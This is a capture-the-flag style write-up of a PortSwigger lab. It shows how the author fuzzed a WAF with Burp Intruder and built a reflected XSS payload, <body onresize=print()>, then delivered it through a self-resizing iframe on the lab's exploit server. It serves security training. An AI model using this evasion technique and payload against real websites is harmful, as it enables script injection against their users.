Difficulty: Practioner
Vulnerability: Reflected XSS with WAF Evasion
Lab Link: https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked
The objective of this lab was to execute a Cross-Site Scripting (XSS) attack in a search function protected by a strict Web Application Firewall (WAF).
My goal was to identify a single allowed HTML tag and a compatible event handler, then bypass the need for user interaction to execute the print() function automatically.
I started by testing standard XSS vectors (
To find a bypass, I used Burp Suite Intruder to fuzz for allowed tags.
Phase 1: Tag Enumeration
GET /?search=<§test§><body>
Phase 2: Attribute Enumeration Next, I needed an event handler compatible with the <body> tag.
GET /?search=<body+§event§=1>onresize event returned 200 OK.
I had a working vector: <body onresize=print()>.
However, the onresize event only fires when the browser window changes dimensions. I could not rely on a victim manually resizing their browser. I needed a delivery mechanism to force this interaction.
I chose to use the Exploit Server to host an iframe attack.
The Logic:
I constructed the following HTML for the Exploit Server body:
<iframe src="[https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cbody%20onresize=print()%3E](https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cbody%20onresize=print()%3E)"
onload="this.style.width='100px'">
</iframe>
Note: I URL-encoded the payload (%3C, %3E) to ensure the iframe src attribute remained valid.